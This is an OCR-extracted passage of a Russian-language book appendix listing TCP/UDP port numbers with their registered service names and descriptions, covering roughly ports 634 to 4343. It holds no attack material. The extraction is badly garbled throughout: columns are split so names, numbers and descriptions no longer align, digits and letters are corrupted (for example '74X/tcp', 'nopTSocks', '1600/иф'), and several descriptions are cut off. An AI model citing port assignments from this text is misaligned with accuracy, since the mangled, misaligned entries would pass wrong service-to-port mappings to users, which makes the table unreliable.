Унифицированный диспетчер ресурсов Cray
Унифицированный диспетчер ресурсов Cray
Порт протокола Sender-Initiated/Unsolicited File Transfer
Порт протокола Sender-Initiated/Unsolicited File Transfer
Порт npmp-trap
Порт npmp-trap
Порт npmp-local
Порт npmp-local
Порт npmp-gui
Порт npmp-gui
706
Часть IV. Дополнительные темы
Условное обозначение Номер Описание
ginad
ginad
mdqs
nidqs
doom
doom
elcsd
elcsd
entrustmanager
entrustmanager
netviewdml
netviewdml
netviewdm2
netviewdm2
netviewdm3
netviewdm3
netgw
netgw
netres
netrcs
flexlm
flexlm
fu jitsu-dev
fuj itsu-dev
ris-cm
ris-cm
kerberos-adm
ke rberos-adm
rfile
loadav
pump
pump
qrh
qrh
rrh
rrh
tell
634/tcp
634/udp
666/tcp
666/udp
666/tcp
666/tcp
704/tcp
704/udp
709/tcp
709/udp
729/tcp
729/udp
730/tcp
730/udp
731/tcp
731/udp
74X/tcp
741/udp
742/tcp
742/udp
744/tcp
744/udp
747/tcp
747/udp
748/tcp
748/udp
749/tcp
749/udp
750/tcp
750/udp
751/tcp
751/udp
752/tcp
752/udp
753/tcp
753/udp
754/tcp
Порт ginad
Порт ginad
Порт doom Id Software
Порт doom Id Software
Демон errlog copy/server
Демон errlog copy/server
Система EntrustManager
Система EntrustManager
Сервер/клиент IBM NetView DM/6000
Сервер/клиент IBM NetView DM/6000
Порт передачи tcp системы IBM NetView DM/6000
Порт передачи udp системы IBM NetView DM/6000
Порт приема tcp системы IBM NetView DM/6000
Порт приема udp системы IBM NetView DM/6000
Порт netGVV
Порт netGVV
Система управления версиями на базе сети
Система управления версиями на базе сети
Служба управления лицензиями Flexible
Служба управления лицензиями Flexible
Блок управления устройством Fujitsu
Блок управления устройством Fujitsu
Система управления календарными событиями Russell Info Sci
Система управления календарными событиями Russell Info Sci
Административное управление протоколом Kerberos
Административное управление протоколом Kerberos
Передача
Приложение В. Справочные таблицы Internet
707
Условное обозначение Номер Описание
tell
nlogin
nlogin
con
con
ns
ns
rxe
rxe
quoted
quoted
cycleserv
cycleserv
omserv
omserv
webster
webster
phonebook
phonebook
vid
vid
cadlock
cadlock
rtip
rtip
cycleserv2
cycleserv2
submit
notify
rpasswd
acmaint_dbd
entomb
acmaint_transd
wpages
wpages
wpgs
wpgs
754/udp
758/tcp
758/udp
759/tcp
759/udp
760/tcp
760/udp
761/tcp
761/udp
762/tcp
762/udp
763/tcp
763/udp
764/tcp
764/udp
765/tcp
765/udp
767/tcp
767/udp
769/tcp
769/udp
770/tcp
770/udp
771/tcp
771/udp
772/tcp
772/udp
773/tcp
773/udp
774/tcp
774/udp
775/tcp
775/udp
776/tcp
776/udp
780/tcp
780/udp
Передача
Телефонный справочник
Телефонный справочник
708
Часть IV. Дополнительные темы
Условное обозначение Номер Описание
concert
concert
mdbs_daemon
mdbs daemon
device
device
xtreelic
xtreelic
maitrd
maitrd
busboy
puparp
garcon
applix
puprouter
puprouter
cadlock
ock
786/tcp
786/udp
800/tcp
800/udp
801/tcp
801/udp
996/tcp
996/udp
997/tcp
997/udp
998/tcp
998/udp
999/tcp
999/udp
999/tcp
999/udp
1000/tcp
1000/udp
1023/tcp
1023/udp
Система Concert
Система Concert
Программное об
Программное об
Порт Applix ас
Зарезервирован
Зарезервирован
Зарегистрированные номера портов
Номера портов (1024-7009), приведенные в этой таблице, не назначены, но
зарегистрированы в организации ICANN для использования в некоторых службах.
Условное
обозначение
blackjack
blackj ack
iadl
iadl
iad2
iad2
Номер
1024/tcp
1024/udp
1025/tcp
1025/udp
1030/tcp
1030/udp
1031/tcp
1031/udp
Описание
Зарезервирован
Зарезервирован
Сетевой джокер (непривилегированный порт,
занимаемый приложениями в первую очередь)
Сетевой джокер
noprBBNIAD
Порт BBN IAD
noprBBNIAD
Порт BBN IAD
Приложение В. Справочные таблицы Internet
709
Условное
обозначение
iad3
iad3
instl^boots
instl_boots
instl_bootc
instl_bootc
socks
socks
ansoft-lm-1
ansoft-lm-1
ansoft-lm-2
ansoft-lm-2
nfa
nfa
nerv
nerv
hermes
hermes
alta-ana-lm
alta-ana-lm
bbn-nimc
bbn-mmc
bbn-mmx
bbn-mmx
sbook
sbook
editbench
editbench
equationbuilder
equationbuilder
lotusnote
lotusnote
relief
relief
rightbrain
rightbrain
Номер Описание
1032/tcp Порт BBN IAD
1032 /udp Порт BBN IAD
10 67 /1 cp Сервер протокола Installation Bootstrap
1067 /udp Сервер протокола Installation Bootstrap
10 68 /1 cp Клиент протокола Installation Bootstrap
1068 /udp Клиент протокола Installation Bootstrap
1080/tcp nopTSocks
1080/udp Порт Socks
108 3/tcp Служба управления лицензиями Anasoft
1083/udp Служба управления лицензиями Anasoft
10 8 4 /1 cp Служба управления лицензиями Anasoft
1084/udp Служба управления лицензиями Anasoft
1155/tcp Сетевой протокол доступа к файлам
1155 /udp Сетевой протокол доступа к файлам
1222/tcp CeTbSNIR&D
1222/udp Сеть SNI R&D
1248/tcp
1248/udp
13 4 6/tcp Служба управления лицензиями Alta Analytics
134 6/udp Служба управления лицензиями Alta Analytics
13 4 7 /1 cp Мультимедийная конференц-связь
1347 /udp Мультимедийная конференц-связь
13 4 8 /1 cp Мультимедийная конференц-связь
1348/udp Мультимедийная конференц-связь
1349/tcp Протоколсети регистрации
1349/udp Протокол сети регистрации
13 5 0 /1 ср Протокол сети регистрации
1350/udp Протокол сети регистрации
1351/tcp Система Digital Tool Works (МГТ)
1351/udp Система Digital Tool Works (МГТ)
1352/tcp Система Lotus Notes
1352/udp Система Lotus Notes
1353/tcp Зарезервирован компанией Relief Consulting
1353/udp Зарезервирован компанией Relief Consulting
1354/tcp Программное обеспечение RightBrain
1354 /udp Программное обеспечение RightBrain
710
Часть TV. Дополнительные темы
Условное Номер Описание
обозначение
intuitive-edge
intuitive-edge
cuillamartin
cuillamartin
pegboard
pegboard
connlcli
connlcli
ftsrv
ftsrv
mimer
rainier
linx
linx
tiraeflies
tiraeflies
ndm-request er
ndm-requester
ndm-server
ndm-server
adapt-nsa
adapt-nsa
netware-csp
netware-csp
dcs
dcs
screencast
screencast
gv-us
gv-us
us-gv
us-gv
fc-cli
fc-cli
fc-ser
fc-ser
13 5 5 /1 cp Система Intuitive Edge
1355/ udp Система Intuitive Edge
1356/tcp Зарезервирован компанией CuillaMartin Company
1356/udp Зарезервирован компанией CuillaMartin Company
13 5 7 /1 cp Система Electronic PegBoard
1357/udp Система Electronic PegBoard
1358/tcp Система CONNLCLI
1358/udp Система CONNLCLI
1359/tcp Порт FTSRV
1359/ udp Порт FTSRV
1360/tcp Порт MIMER
1360/udp Порт MIMER
1361/tcp nopTLinX
13 61/udp Порт LinX
1362/tcp nopTTimeFlies
1362 /udp Порт TimeFlies
13 63 /1 cp Порт Network DataMover Requester
13 6 3 / udp Порт Network DataMover Requester
13 6 4 /1 cp Порт Network DataMover Server
1364/ udp Порт Network DataMover Server
13 6 5 /1 cp Зарезервирован компанией Network Software Associates
1365/udp Зарезервирован компанией Network Software Associates
1366/tcp Платформа служб связи Novell NetWare
1366/ udp Платформа служб связи Novell NetWare
1367/tcp Порт DCS
13 67/udp Порт DCS
1368/tcp Система ScreenCast
1368/udp Система ScreenCast
1369/tcp Интерфейс от системы GlobalView к системе UNIX
1369/udp Интерфейс от системы GlobalView к системе UNIX
13 7 0 /1 cp Интерфейс от системы UNIX к системе GlobalView
137G/udp Интерфейс от системы UNIX к системе GlobalView
1371/tcp Протокол Fujitsu Config
1371/udp Протокол Fujitsu Config
13 7 2 /1 cp Протокол Fujitsu Config
1372/udp Протокол Fujitsu Config
Приложение В. Справочные таблицы Internet
711
Условное
обозначение
Номер
Огисание
chromagrafx
chromagrafx
molly
molly
bytex
bytex
ibm-pps
ibm-pps
cichlid
cichlid
elan
elan
dbreporter
dbreporter
telesis-licman
telesis-licman
app1e-1i cman
apple-licman
udt_os
udt_os
gwha
gwha
os-licman
os-licman
atex_elmd
atex_elmd
checksum
checksum
cadsi-lm
cadsi-lm
objective-dbc
objective-dbc
iclpv-dm
iclpv-dm
iclpv-sc
1373/tcp Система Chromagrafx
1373/udp Система Chromagrafx
1374/tcp Порт EPI Software Systems
1374/udp Порт EPI Software Systems
1375/tcp Система Bytex
1375/udp Система Bytex
13 7 б /1 cp Программное обеспечение IBM Person4o-Person
1376/ udp Программное обеспечение IBM Person-to-Person
13 7 7 /1 cp Служба управления лицензиями Cichlid
1377/udp Служба управления лицензиями Cichlid
1378/tcp Служба управления лицензиями Elan
1378/udp Служба управления лицензиями Elan
1379/tcp Система Integrity Solutions
1379/ udp Система Integrity Solutions
13 8 0 /1 cp Служба управления лицензиями Telesis Network
1380/udp Служба управления лицензиями Telesis Network
1381/tcp Служба управления лицензиями Apple Network
1381/udp Служба управления лицензиями Apple Network
1382/tcp
1382/udp
1383/tcp Служба управления лицензиями GVV Hannaway Network
1383 /udp Служба управления лицензиями GVV Hannaway Network
1384 /tcp Служба управления лицензиями Objective Solutions
1384/udp Служба управления лицензиями Objective Solutions
13 8 5 /1 cp Служба управления лицензиями Atex Publishing
1385 /udp Служба управления лицензиями Alex Publishing
138 6/tcp Служба управления лицензиями Checksum
1386/udp Служба управления лицензиями Checksum
1387/tcp Служба управления лицензиями Computer Aided Design
Software Inc
1387/ udp Служба управления лицензиями Computer Aided Design
Software Inc
13 8 8 /1 cp Кэш базы данных Objective Solutions
1388/ udp Кэш базы данных Objective Solutions
13 8 9 /1 cp Программное обеспечение Document Manager
1389/ udp Программное обеспечение Document Manager
13 90 /t cp Программное обеспечение Storage Controller
712
Часть TV. Дополнительные темы
Условное Номер Описание
обозначение
iclpv-sc
iclpv-sas
iclpv-sas
iclpv-pm
iclpv-pm
iclpv-nls
iclpv-nls
iclpv-nlc
iclpv-nlc
iclpv-wsm
iclpv-wsm
dvl-activemail
dvl-activemail
audio-activmail
audio-act ivmai1
video-activmail
video-activmail
cadkey-licman
cadkey-licman
cadkey-tablet
cadkey-tablet
goldleaf-licman
goldleaf-licman
prm-sm-np
prm-sm-np
prm-nm-np
prm-nm-np
igi-lm
igi-lm
ibm-res
ibm-res
netlabs-lm
netlabs-lm
dbsa-lm
dbsa-lm
sophia-lm
1390/udp Программное обеспечение Storage Controller
1391/tcp Программное обеспечение Storage Access Server
1391/ udp Программное обеспечение Storage Access Server
1392/tcp Программное обеспечение Print Manager
1392/udp Программное обеспечение Print Manager
13 93 /tcp Программное обеспечение Network Log Server
1393/ udp Программное обеспечение Network Log Server
1394 /tcp Программное обеспечение Network Log Client
1394/ udp Программное обеспечение Network Log Client
1395/tcp Программное обеспечение PC Workstation Manager
1395/ udp Программное обеспечение PC Workstation Manager
1396/tcp Система DVL Active Mail
1396/udp Система DVL Active Mail
1397/tcp Система Audio Active Mail
1397/udp Система Audio Active Mail
1398/tcp Система Video Active Mail
1398/udp Система Video Active Mail
13 9 9/1 cp Служба управления лицензиями Cadkey
13 9 9 / udp Служба управления лицензиями Cadkey
1400/tcp Демон Cadkey Tablet
14 OO/udp Демон Cadkey Tablet
14 01 /tcp Служба управления лицензиями Goldleaf
1401 /udp Служба управления лицензиями Goldleaf
1402/tcp Система Prospero Resource Manager
1402/udp Система Prospero Resource Manager
14 0 3 /1 cp Система Prospero Resource Manager
1403/udp Система Prospero Resource Manager
14 0 4 /1 cp Служба управления лицензиями Infinite Graphics
1404 /udp Служба управления лицензиями Infinite Graphics
14 0 5 /1 cp Система IBM Remote Execution Starter
1405/ udp Система IBM Remote Execution Starter
14 06/tcp Служба управления лицензиями NetLabs
140 6/udp Служба управления лицензиями NetLabs
14 0 7 /1 cp Служба управления лицензиями DBSA
14 07 /udp Служба управления лицензиями DBSA
14 08 / tcp Служба управления лицензиями Sophia
Приложение В. Справочные таблицы Internet 713
Условное Номер Описание
обозначение
sophia-lm
here-lm
here-lni
hiq
hiq
af
af
innosys
innosys
innosys-acl
innosys-acl
ibin-niqse r i e s
ibni-mqseries
dbstar
dbstar
novell-lu6.2
novell-lu6.2
timbuktu-srvl
tiinbuktu-srvl
timbuktu-srv2
timbuktu-srv2
t imbukt u-srv3
timbuktu-srv3
timbuktu-srv4
t imbuktu-srv4
gandalf-'lm
gandalf-lni
autodesk-lm
autodesk-lm
essbase
essbase
hybrid
hybrid
zion-lm
zion-lm
sas-1
1408/ udp Служба управления лицензиями Sophia
1409/tcp Служба управления лицензиями Here
1409/udp Служба управления лицензиями Here
1410 /1 ср Служба управления лицензиями HiQ
1410 /udp Служба управления лицензиями HiQ
1411/tcp Система AudioFile
1411/udp Система AudioFile
1412/tcp Система InnoSys
1412 /udp Система InnoSys
1413/tcp Система InnoSys-ACL
1413/udp Система InnoSys-ACL
1414/tcp Система IBM MQSeries
1414 / udp Система IBM MQSeries
1415/tcp Система DBStar
1415/udp Система DBStar
1416/tcp Порт Novell LU6.2
1416/udp Порт Novell LU6.2
1417/tcp Порт 1 службы Timbuktu
1417 /udp Порт 1 службы Timbuktu
1418/tcp Порт 2 службы Timbuktu
1418 /udp Порт 2 службы Timbuktu
1419/tcp Порт З службы Timbuktu
1419/udp Порт З службы Timbuktu
1420/tcp Порт 4 службы Timbuktu
1420 /udp Порт 4 службы Timbuktu
14 21 /1 ср Служба управления лицензиями Gandalf
1421/ udp Служба управления лицензиями Gandalf
14 22 /1 ср Служба управления лицензиями Autodesk
1422/ udp Служба управления лицензиями Autodesk
14 2 3 /1 ср Программное обеспечение Essbase Arbor
14 2 3 / udp Программное обеспечение Essbase Arbor
14 24 /tcp Протокол шифрования Hybrid
1424 /udp Протокол шифрования Hybrid
1425/tcp Служба управления лицензиями Zion Software
14 2 5/udp Служба управления лицензиями Zion Software
14 2 6/t ср Спутниковая система сбора данных версии 1
714
Часть IV. Дополнительные темы
Условное
обозначение
sas-l
inloadd
mloadd
informal: ik-lm
informatik-lm
nms
runs
tpdu
tpdu
rgtp
rgtp
blueberry-lm
blueberry-lm
ms-sql-s
ms-sql-s
ms-sql-ni
ms-sql-m
ibm-cisc
ibm-cisc
sas-2
sas-2
tabula
tabula
eicon-server
eicon-server
eicon-x25
eicon-x25
eicon-slp
eicon-sip
cadis-1
cadis-1
cadis-2
cadis-2
ies-lin
ies-lm
Номер Описание
142 6/udp Спутниковая система сбора данных версии 1
14 2 7 /1 ср Инструментальное средство контроля mloadd
1427/ udp Инструментальное средство контроля mloadd
1428/tcp Служба управления лицензиями Informatik
1428 /udp Служба управления лицензиями Informatik
1429/tcp Порт Hypercom NMS
1429/udp Порт Hypercom NMS
14 3 0 /t cp Порт Hypercom TPDU
1430 /udp Порт Hypercom TPDU
14 31 /t cp Протокол Reverse Gosip Transport
1431/ udp Протокол Reverse Gosip transport
14 32 /t cp Служба управления лицензиями Blueberry Software
1432/udp Служба управления лицензиями Blueberry Software
14 3 3 /1 cp SQL-сервер компании Microsoft
1433 /udp SQL-сервер компании Microsoft
1434/tcp SQL-монитор компании Microsoft
14 3 4 / udp SQL-монитор компании Microsoft
1435/tcp Порт IBM CISC
1435/udp Порт IBM CISC
1436/tcp Спутниковая система сбора данных версии 2
1436/udp Спутниковая система сбора данных версии 2
1437/tcp Программа Tabula
14 37/udp Программа Tabula
14 3 8 /t cp Агент/сервер защиты Eicon
1438 /udp Агент/сервер защиты Eicon
14 3 9 /t cp Шлюз Eicon X25/SNA
1439/udp Шлюз Eicon X25/SNA
14 4 0 /1 cp Протокол регистрации местоположения служб Eicon
1440 /udp Протокол регистрации местоположения служб Eicon
14 41 /t cp Система управления лицензиями Cadis
1441/ udp Система управления лицензиями Cadis
14 42/tcp Система управления лицензиями Cadis
1442 /udp Система управления лицензиями Cadis
14 4 3 /1 cp Зарезервирован компанией Integrated Engineering
Software
14 43/ udp Зарезервирован компанией Integrated Engineering
Software
Приложение В. Справочные таблицы Internet
715
Условное Номер Описание
обозначение
marcam-lm
marcam-lm
proxima-lm
proxima-lm
ora-lm
ora-lm
apri-lm
apri-lm
oc-lm
oc-lm
peport
peport
dwf
dwf
infoman
infoman
gtegsc-lm
gtegsc-lm
genie-lm
genie-lm
interhdl_elmd
interhdl_elmd
esl-lm
esl-lm
dca
dca
valisys-lm
valisys-lm
nrcabq-lm
nrcabq-lm
prosharel
prosharel
proshare2
14 4 4 /t cp Система управления лицензиями Marcam
1444 /udp Система управления лицензиями Marcam
14 4 5 /1 cp Служба управления лицензиями Proxima
1445 /udp Служба управления лицензиями Proxima
14 4 б /1 cp Служба управления лицензиями Optical Research Associates
144 6/ udp Служба управления лицензиями Optical Research Associates
14 4 7 /1 cp Служба управления лицензиями Applied Parallel Research
1447 /udp Служба управления лицензиями Applied Parallel Research
14 4 8 /t cp Служба управления лицензиями OpenConnect
1448 /udp Служба управления лицензиями OpenConnect
144 9/tcp Приложение PEpon
144 9 /udp Приложение PEport
1450/tcp Распределенные инструментальные средства
автоматизации Tandem
14 50/udp Распределенные инструментальные средства
автоматизации Tandem
14 51 /1 cp Система IBM Information Management
1451/ udp Система IBM Information Management
1452/tcp Служба управления лицензиями GTE Government Systems
1452/ udp Служба управления лицензиями GTE Government Systems
14 5 3 /1 cp Служба управления лицензиями Genie
1453/udp Служба управления лицензиями Genie
1454 /tcp Служба управления лицензиями inlerHDL
1454 /udp Служба управления лицензиями interHDL
1455/tcp Служба управления лицензиями ESL
1455/udp Служба управления лицензиями ESL
1456/tcp Порт DCA
1456/udp Порт DCA
14 57 /t cp Служба управления лицензиями Valisys
1457/udp Служба управления лицензиями Valisys
1458/tcp Служба управления лицензиями Nichols Research
Corporation
14 58/udp Служба управления лицензиями Nichols Research
Corporation
14 59/tcp Приложение Proshare Notebook
1459/ udp Приложение Proshare Notebook
14 60/tcp Приложение Proshare Notebook
716
Часть TV. Дополнительные темы
Условное Номер Описание
обозначение
proshare2
ibm_wrless_lan
ibm_wrless_lan
world-lni
world-lm
nucleus
nucleus
msl_lmd
msl_lmd
pipes
pipes
oceansoft-lm
oceansoft-lm
csdmbase
csdmbase
csdm
csdm
aal-lm
aal-lm
uaiact
uaiact
csdmbase
csdmbase
csdm
csdm
openmath
openmath
telefinder
telefinder
taligerit-lm
taligent-lm
clvm-cfg
clvm-cfg
ms-sna-server
ms-sna-server
ms-sna-base
14 60/ udp Приложение Proshare Notebook
14 б 1 /t cp Беспроводная локальная сеть IBM
1461/ udp Беспроводная локальная сеть IBM
14 62/tcp Служба управления лицензиями World
14 62/udp Служба управления лицензиями World
14 63/tcp Система Nucleus
14 63/udp Система Nucleus
14 64 / tcp Служба управления лицензиями MSL
14 64/udp Служба управления лицензиями MSL
1465/tcp Система Pipes Platform
14 65 /udp Система Pipes Platform
14 6 6 /1 cp Служба управления лицензиями Ocean Software
1466/udp Служба управления лицензиями Ocean Software
14 67 /tcp Порт CSDMBASE
1467 /udp Порт CSDMBASE
14 68/tcp Порт CSDM
14 68 /udp Порт CSDM
14 6 9/tcp Служба управления лицензиями Active Analysis Limited
1469/ udp Служба управления лицензиями Active Analysis Limited
1470/tcp Зарезервирован компанией Universal Analytics
1470/ udp Зарезервирован компанией L'niversal Analytics
1471/tcp Порт csdmbase
1471/udp Порт csdmbase
1472/tcp Порт csdm
1472/udp Порт csdm
1473/tcp Система OpenMath
1473 /udp Система OpenMath
1474/tcp Система Telefinder
1474/udp Система Telefinder
1475/tcp Служба управления лицензиями Taligenl
1475 /udp Служба управления лицензиями Taligenl
14 7 6/tcp Порт clvm-cfg
1476 /udp Порт clvm-cfg
1477/tcp Порт ms-sna-server
1477/udp Порт ms-sna-server
1478/tcp Порт ms-sna-base
Приложение В. Справочные таблицы Internet
717
Условное Номер Описание
обозначение
ms-sna-base
dberegister
dberegister
pacerforum
pacerforum
airs
airs
miteksys-lm
miteksys-lm
afs
afs
confluent
confluent
lansource
lansource
nms_topo_serv
nms topo serv
localinfosrvr
localinfosrvr
docstor
docstor
dmdocbroker
dmdocbroker
insitu-conf
insitu-conf
anynetgateway
anynetgateway
stone-design-1
stone-design-1
netmap'lm
netmap lm
ica
ica
cvc
cvc
liberty-lm
1478/udp
1479/tcp
1479/udp
1480/tcp
1480/udp
1481/tcp
1481/udp
1482/tcp
1482/udp
1483/tcp
1483/udp
1484/tcp
1484/udp
1485/tcp
1485/udp
1486/tcp
1486/udp
1487/tcp
1487/udp
1488/tcp
1488/udp
1489/tcp
1489/udp
14 90/tcp
1490/udp
14 91/tcp
14 91/udp
14 92/tcp
1492/udp
14 93/tcp
1493/udp
14 94/tcp
1494/udp
14 95/tcp
1495/udp
14 96/tcp
Порт ms-sna-base
Порт dberegister
Порт dberegister
Порт PacerForum
Порт PacerForum
Порт AIRS
Порт AIRS
Служба управления лицензиями Miteksys
Служба управления лицензиями Miteksys
Служба управления лицензиями AFS
Служба управления лицензиями AFS
Служба управления лицензиями Confluent
Служба управления лицензиями Confluent
Порт LANSource
Порт LANSource
Порт nms_topo_serv
Порт nms_topo_serv
Порт LocallnfoSrvr
Порт LocallnfoSrvr
Порт DocStor
Порт DocStor
Порт dmdocbroker
Порт dmdocbroker
Порт insitu-conf
Порт insitu-conf
Порт anynetgateway
Порт anynetgateway
Порт stone-design-1
Порт stone-design-1
Порт netmap_lm
Порт netmap_lm
Порт ica
Порт ica
Порт cvc
Порт cvc
Порт liberty-lm
718
Часть TV. Дополнительные темы
Условное Номер Описание
обозначение
liberty-lm
rfx-lm
rfx-lm
watcom-sql
watcom-sql
fhc
fhc
vlsi-lm
vlsi-lm
sas-3
sas-3
shivadiscovery
shivadiscovery
imtc-mcs
iiritc-nics
evb-elni
evb-elm
funkproxy
funkproxy
ingreslock
ingreslock
orasrv
orasrv
prospero-np
prospero-np
pdap-np
pdap-np
tlisrv
tlisrv
coauthor
coauthor
issd
issd
nkd
nkd
1496/udp
1497/tcp
14 97/udp
1498/tcp
1498/udp
1499/tcp
1499/udp
1500/tcp
1500/udp
1501/tcp
1501/udp
1502/tcp
1502/udp
1503/tcp
lS03/udp
1504/tcp
1504/udp
1505/tcp
1505/udp
1524/tcp
1524/udp
1525/tcp
1525/udp
1525/tcp
1525/udp
1526/tcp
1526/udp
1527/tcp
1527/udp
1529/tcp
1529/udp
1600/tcp
1600/иф
1650/tcp
1650/udp
Порт liberty-lm
Порт rfx-lm
Порт rfx-lm
Порт Watcom-SQL
Порт YVatcom-SQL
Зарезервирован компанией Federico Heinx Consultora
Зарезервирован компанией Federico Heinz Consultora
Служба управления лицензиями VLSI
Служба управления лицензиями VLSI
Спутниковая система сбора данных версии 3
Спутниковая система сбора данных версии 3
Система Shiva
Система Shiva
Система Databeam
Система Databeam
Служба управления лицензиями EVB Software
Engineering
Служба управления лицензиями EVB Software
Engineering
Зарезервирован компанией Funk Software, Inc.
Зарезервирован компанией Funk Software, Inc.
Зарезервирован компанией Ingres
Зарезервирован компанией Ingres
Зарезервирован компанией Oracle
Зарезервирован компанией Oracle
Неприватная служба каталогов Prospero
Неприватная служба каталогов Prospero
Неприватный протокол доступа к данным Prospero
Неприватный протокол доступа к данным Prospero
Зарезервирован компанией Oracle
Зарезервирован компанией Oracle
Зарезервирован компанией Oracle
Зарезервирован компанией Oracle
Приложение В. Справочные таблицы Internet
719
Условное Номер Описание
обозначение
proshareaudio
proshareaudio
prosharevideo
prosharevideo
prosharedata
prosharedata
prosharerequest
prosharerequest
prosharenot ifу
prosharenotify
netview-aix-1
netview-aix-1
netview-aix-2
netview-aix-2
net vi ew-aix-3
netview-aix-3
netview-aix-4
netview-aix-4
netview-aix-5
netview-aix-5
netview-aix-б
netview-aix-6
licensedaemon
licensedaemon
tr-rsrb-pl
cr-rsrb-pl
tr-rsrb-p2
tr-rsrb-p2
tr-rsrb-p3
tr-rsrb-p3
mshnet
mshnet
1651/tcp
1651/udp
1652/tcp
1652/udp
1653/tcp
1653/udp
1654/tcp
1654/udp
1655/tcp
1655/udp
1661/tcp
1661/udp
1662/tcp
1662/udp
1663/tcp
1663/udp
1664/tcp
1664/udp
1665/tcp
1665/udp
1666/tcp
1666/udp
1986/tcp
1986/udp
1987/tcp
1987/udp
1988/tcp
1988/udp
1989/tcp
1989/udp
1989/tcp
1989/udp
Порт Proshare conf audio
Порт Proshare conf audio
Порт Proshare conf video
Порт Proshare conf video
Порт Proshare conf data
Порт Proshare conf data
Порт Proshare conf request
Порт Proshare conf request
Порт Proshare conf notify'
Порт Proshare conf notify
Порт netview-aix-1
Порт netview-aix-1
Порт netview-aix-2
Порт netview-aix-2
Порт netview-aix-3
Порт netview-aix-3
Порт netview-aix-4
Порт netview-aix-4
Порт netview-aix-5
Порт nctview-aix-5
Порт nelview-aix-6
Порт netview-aix-6
Система управления лицензиями Cisco
Система управления лицензиями Cisco
Порт приоритета 1 моста удаленной маршрутизации от
источника Cisco
Порт приоритета 1 моста удаленной маршрутизации от
источника Cisco
Порт приоритета 2 моста удаленной маршрутизации от
источника Cisco
Порт приоритета 2 моста удаленной маршрутизации от
источника Cisco
Порт приоритета 3 моста удаленной маршрутизации от
источника Cisco
Порт приоритета 3 моста удаленной маршрутизации от
источника Cisco
Система MHSnet
Система MHSnet
720
Часть TV. Дополнительные темы
Условное Номер Описание
обозначение
stun-pl
stun-pl
stun-p2
stun-p2
stun-рЗ
stun-p3
ipsendmsg
ipsendmsg
snmp-tcp-port
snmp-tcp-port
stun-port
stun-port
perf-port
perf-port
tr-rsrb-port
tr-rsrb-port
gdp-port
gdp-port
x25-svc-port
x25-svc-port
tcp-id-port
tcp-id-port
callbook
callbook
dc
wizard
globe
globe
mailbox
emce
berknet
oracle
invokator
raid-cc
dectalk
raid-am
1990/tcp
1990/udp
1991/tcp
1991/udp
1992/tcp
1992/udp
1992/tcp
1992/udp
1993/tcp
1993/udp
1994/tcp
1994/udp
1995/tcp
1995/udp
1996/tcp
1996/udp
1997/tcp
1997/udp
1998/tcp
1998/udp
1999/tcp
1999/udp
2000/tcp
2000/udp
2001/tcp
2001/udp
2002/tcp
2002/udp
2004/tcp
2004/udp
2005/tcp
2005/udp
2006/tcp
2006/udp
2007/tcp
2007/udp
Порт приоритета 1 последовательного туннелирования Cisco
Порт приоритета 1 последовательного туннелирования Cisco
Порт приоритета 2 последовательного туннелирования Cisco
Порт приоритета 2 последовательного туннелирования Cisco
Порт приоритета 3 последовательного туннелирования Cisco
Порт приоритета 3 последовательного туннелирования Cisco
Система IPsendmsg
Система IPsendmsg
Порт SNMP TCP Cisco
Порт SNMP TCP Cisco
Порт последовательного туннелирования Cisco
Порт последовательного туннелирования Cisco
Порт Cisco perf
Порт Cisco perf
Порт удаленной маршрутизации от источника Cisco
Порт удаленной маршрутизации от источника Cisco
Порт Cisco Gateway Discovery Protocol
Порт Cisco Gateway Discovery Protocol
Служба Х.25 Cisco (XOT)
Служба Х.25 Cisco (XOT)
Порт Cisco identification
Порт Cisco identification
Порт curry
Порт CCWS mm conf
Порт raid
Приложение В. Справочные таблицы Internet
721
Условное Номер Описание
обозначение
conf
terminaldb
news
whosockami
search
pipe_server
raid-cc
servserv
ttyinfo
raid-ac
raid-am
raid-cd
troff
raid-sf
cypress
raid-cs
bootserver
bootserver
cypress-stal
bootclient
terminaldb
rellpack
whosockami
about
xinupageserver
xinupageserver
servexec
xinuexpansionl
down
xinuexpansion2
xinuexpansion3
xinuexpansion3
xinuexpansion4
xinuexpansion4
ellpack
xribs
2008/tcp
2008/udp
2009/tcp
2009/udp
2010/tcp
2010/udp
2011/tcp
2011/udp
2012/tcp
2012/udp
2013/tcp
2013/udp
2014/tcp
2014/udp
2015/tcp
2015/udp
2016/tcp
2016/udp
2017/tcp
2017/udp
2018/tcp
2018/udp
2019/tcp
2019/udp
2020/tcp
2020/udp
2021/tcp
2021/udp
2022/tcp
2022/udp
2023/tcp
2023/udp
2024/tcp
2024/udp
2025/tcp
2025/udp
722
Часть TV. Дополнительные темы
Условное Номер Описание
обозначение
scrabble
scrabble
shadowserver
shadowserver
submitserver
submitserver
device2
device2
blackboard
blackboard
glogger
glogger
scoremgr
scoremgr
imsldoc
imsldoc
obj ectmanager
obj ectmanager
lam
lam
interbase
interbase
isis
isis
isis-bcast
isis-bcast
rimsl
rimsl
cdfunc
cdfunc
sdfunc
sdfunc
dls
dls
dls-mcnitor
dls-monitor
2026/tcp
2026/udp
2027/tcp
2027/udp
2028/tcp
2028/udp
2030/tcp
2030/udp
2032/tcp
2032/udp
2033/tcp
2033/udp
2034/tcp
2034/udp
2035/tcp
2035/udp
2038/tcp
2038/udp
2040/tcp
2040/иф
2041/tcp
2041/udp
2042/tcp
2042/udp
2043/tcp
2043/udp
2044/tcp
2044/udp
2045/tcp
2045/udp
2046/tcp
2046/udp
2047/tcp
2047/udp
2048/tcp
2048/udp
.Приложение В. Справочные таблицы Internet 723
Условное Номер Описание
обозначение
shilp
shilp
dlsrpn
dlsrpn
dlswpn
dlswpn
ats
ats
rtsserv
rtsserv
rtsclient
rtsclient
hp-3000-telnet
www-dev
www-dev
NSWS
NSWS
ccmail
ccmail
dec-notes
dec-notes
mapper-nodemgr
mapper-nodemgr
mapper-mapethd
mapper-mapethd
mapper-ws ethd
mapper-ws ethd
bmap
bmap
udt os
udt_os
nuts den
nuts_dem
nuts_bootp
nuts bootp
unicall
204 9/tcp
2049/udp
2065/tcp
2065/udp
2067/tcp
2067/udp
2201/tcp
2201/udp
2500/tcp
2500/udp
2501/tcp
2501/udp
2564/tcp
2784/tcp
2784/иф
3049/tcp
304 9/udp
3264/tcp
3264/udp
3333/tcp
3333/udp
3984/tcp
3984/udp
3985/tcp
3985/udp
3986/tcp
3986/udp
3421/tcp
3421/udp
3900/tcp
3900/udp
4132/tcp
4132/udp
4133/tcp
4133/udp
4343/tcp
Порт Data Link Switch Read Port Number
Порт Data Link Switch Read Port Number
Порт Data Link Switch Write Port Number
Порт Data Link Switch Write Port Number
Программа Advanced Training System
Программа Advanced Training System
Сервер Resource Tracking System
